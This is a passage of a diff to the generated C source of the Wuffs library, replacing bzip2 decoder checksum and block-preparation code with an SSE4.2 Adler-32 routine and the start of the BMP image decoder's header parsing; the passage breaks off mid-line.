+- if (self->private_impl.f_block_size <= 0u) { +- break; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_bzip2__decoder__flush_slow(self, a_dst); +- if (status.repr) { +- goto suspend; +- } +- } +- self->private_impl.f_block_checksum_have ^= 4294967295u; +- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_block_checksum_have != self->private_impl.f_block_checksum_want)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); +- goto exit; ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 32; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); ++ while (v_p.ptr < i_end0_p) { ++ v_q__left = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr)); ++ v_q_right = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u)); ++ v_v2j = _mm_add_epi32(v_v2j, v_v1); ++ v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q__left, v_zeroes)); ++ v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q_right, v_zeroes)); ++ v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q__left, v_weights__left))); ++ v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q_right, v_weights_right))); ++ v_p.ptr += 32; + } +- self->private_impl.f_final_checksum_have = (self->private_impl.f_block_checksum_have ^ ((self->private_impl.f_final_checksum_have >> 31u) | ((uint32_t)(self->private_impl.f_final_checksum_have << 1u)))); ++ v_p.len = 0; + } +- v_final_checksum_want = 0u; +- v_i = 0u; +- while (v_i < 32u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; ++ v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(177u))); ++ v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(78u))); ++ v_s1 += ((uint32_t)(_mm_cvtsi128_si32(v_v1))); ++ v_v2 = _mm_add_epi32(v_v2k, _mm_slli_epi32(v_v2j, (int32_t)(5u))); ++ v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(177u))); ++ v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(78u))); ++ v_s2 += ((uint32_t)(_mm_cvtsi128_si32(v_v2))); ++ v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); ++ if (v_tail_index < ((uint64_t)(a_x.len))) { ++ { ++ wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 1; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end0_p) { ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ v_p.len = 0; + } +- v_final_checksum_want <<= 1u; +- v_final_checksum_want |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; + } +- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_final_checksum_have != v_final_checksum_want)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); +- goto exit; +- } +- +- goto ok; +- ok: +- self->private_impl.p_do_transform_io[0] = 0; +- goto exit; ++ v_s1 %= 65521u; ++ v_s2 %= 65521u; ++ a_x = v_remaining; + } ++ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +- goto suspend; +- suspend: +- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_transform_io[0].v_i = v_i; +- self->private_data.s_do_transform_io[0].v_tag = v_tag; +- self->private_data.s_do_transform_io[0].v_final_checksum_want = v_final_checksum_want; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) + +- return status; +-} ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) + +-// -------- func bzip2.decoder.prepare_block ++// ---------------- Status Codes Implementations + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__prepare_block( +- wuffs_bzip2__decoder* self, ++const char wuffs_bmp__error__bad_header[] = "#bmp: bad header"; ++const char wuffs_bmp__error__bad_rle_compression[] = "#bmp: bad RLE compression"; ++const char wuffs_bmp__error__truncated_input[] = "#bmp: truncated input"; ++const char wuffs_bmp__error__unsupported_bmp_file[] = "#bmp: unsupported BMP file"; ++const char wuffs_bmp__note__internal_note_short_read[] = "@bmp: internal note: short read"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_BMP__COMPRESSION_NONE 0u ++ ++#define WUFFS_BMP__COMPRESSION_RLE8 1u ++ ++#define WUFFS_BMP__COMPRESSION_RLE4 2u ++ ++#define WUFFS_BMP__COMPRESSION_BITFIELDS 3u ++ ++#define WUFFS_BMP__COMPRESSION_JPEG 4u ++ ++#define WUFFS_BMP__COMPRESSION_PNG 5u ++ ++#define WUFFS_BMP__COMPRESSION_ALPHABITFIELDS 6u ++ ++#define WUFFS_BMP__COMPRESSION_LOW_BIT_DEPTH 256u ++ ++#define WUFFS_BMP__RLE_STATE_NEUTRAL 0u ++ ++#define WUFFS_BMP__RLE_STATE_RUN 1u ++ ++#define WUFFS_BMP__RLE_STATE_ESCAPE 2u ++ ++#define WUFFS_BMP__RLE_STATE_LITERAL 3u ++ ++#define WUFFS_BMP__RLE_STATE_DELTA_X 4u ++ ++#define WUFFS_BMP__RLE_STATE_DELTA_Y 5u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_image_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_frame_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_frame( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_none( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_rle( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_bitfields( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_low_bit_depth( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_tell_me_more( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__read_palette( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__process_masks( ++ wuffs_bmp__decoder* self); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_bmp__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_bmp__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_bmp__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_bmp__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_bmp__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_bmp__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_bmp__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bmp__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_bmp__decoder__initialize( ++ wuffs_bmp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_bmp__decoder* ++wuffs_bmp__decoder__alloc(void) { ++ wuffs_bmp__decoder* x = ++ (wuffs_bmp__decoder*)(calloc(1, sizeof(wuffs_bmp__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_bmp__decoder__initialize( ++ x, sizeof(wuffs_bmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_bmp__decoder(void) { ++ return sizeof(wuffs_bmp__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func bmp.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_bmp__decoder__get_quirk( ++ const wuffs_bmp__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func bmp.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__set_quirk( ++ wuffs_bmp__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func bmp.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__decode_image_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_selector = 0; +- uint32_t v_sel_ff = 0; +- uint8_t v_movee = 0; + wuffs_base__status v_status = wuffs_base__make_status(NULL); + ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func bmp.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_image_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_magic = 0; ++ uint32_t v_width = 0; ++ uint32_t v_height = 0; ++ uint32_t v_planes = 0; ++ uint32_t v_n = 0; ++ uint32_t v_dst_pixfmt = 0; ++ uint32_t v_byte_width = 0; ++ + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -30999,797 +31613,1141 @@ wuffs_bzip2__decoder__prepare_block( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_prepare_block[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_prepare_block[0].v_i; +- v_selector = self->private_data.s_prepare_block[0].v_selector; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- self->private_impl.f_block_checksum_want = 0u; +- v_i = 0u; +- while (v_i < 32u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if ((self->private_impl.f_call_sequence != 0u) || (self->private_impl.f_io_redirect_fourcc == 1u)) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_io_redirect_fourcc != 0u) { ++ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); ++ goto ok; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- self->private_impl.f_block_checksum_want <<= 1u; +- self->private_impl.f_block_checksum_want |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 8) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ v_magic = t_0; + } +- if ((self->private_impl.f_bits >> 31u) != 0u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__unsupported_block_randomization); ++ if (v_magic != 19778u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); + goto exit; + } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- self->private_impl.f_original_pointer = 0u; +- v_i = 0u; +- while (v_i < 24u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ self->private_data.s_do_decode_image_config.scratch = 8u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; + } +- self->private_impl.f_original_pointer <<= 1u; +- self->private_impl.f_original_pointer |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; ++ self->private_impl.f_padding = t_1; + } +- v_i = 0u; +- while (v_i < 256u) { +- self->private_data.f_presence[v_i] = 0u; +- v_i += 1u; ++ if (self->private_impl.f_padding < 14u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; + } +- v_i = 0u; +- while (v_i < 256u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ self->private_impl.f_padding -= 14u; ++ self->private_impl.f_io_redirect_pos = wuffs_base__u64__sat_add(((uint64_t)(self->private_impl.f_padding)), wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- if ((self->private_impl.f_bits >> 31u) != 0u) { +- self->private_data.f_presence[v_i] = 1u; + } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 16u; ++ self->private_impl.f_bitmap_info_len = t_2; + } +- self->private_data.f_scratch = 0u; +- v_i = 0u; +- while (v_i < 256u) { +- if (self->private_data.f_presence[v_i] == 0u) { +- v_i += 16u; +- continue; +- } +- while (true) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_impl.f_padding < self->private_impl.f_bitmap_info_len) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_padding -= self->private_impl.f_bitmap_info_len; ++ if (self->private_impl.f_bitmap_info_len == 12u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 8) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- self->private_data.f_scratch += (self->private_impl.f_bits >> 31u); +- self->private_data.f_presence[(v_i & 255u)] = ((uint8_t)((self->private_impl.f_bits >> 31u))); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- if ((v_i & 15u) == 0u) { +- break; + } ++ self->private_impl.f_width = t_3; + } +- } +- if ((self->private_data.f_scratch < 1u) || (256u < self->private_data.f_scratch)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- self->private_impl.f_num_symbols = (self->private_data.f_scratch + 2u); +- self->private_data.f_scratch = 0u; +- v_i = 0u; +- while (v_i < 3u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 8) { ++ t_4 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; + } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ self->private_impl.f_height = t_4; + } +- self->private_data.f_scratch <<= 1u; +- self->private_data.f_scratch |= (self->private_impl.f_bits 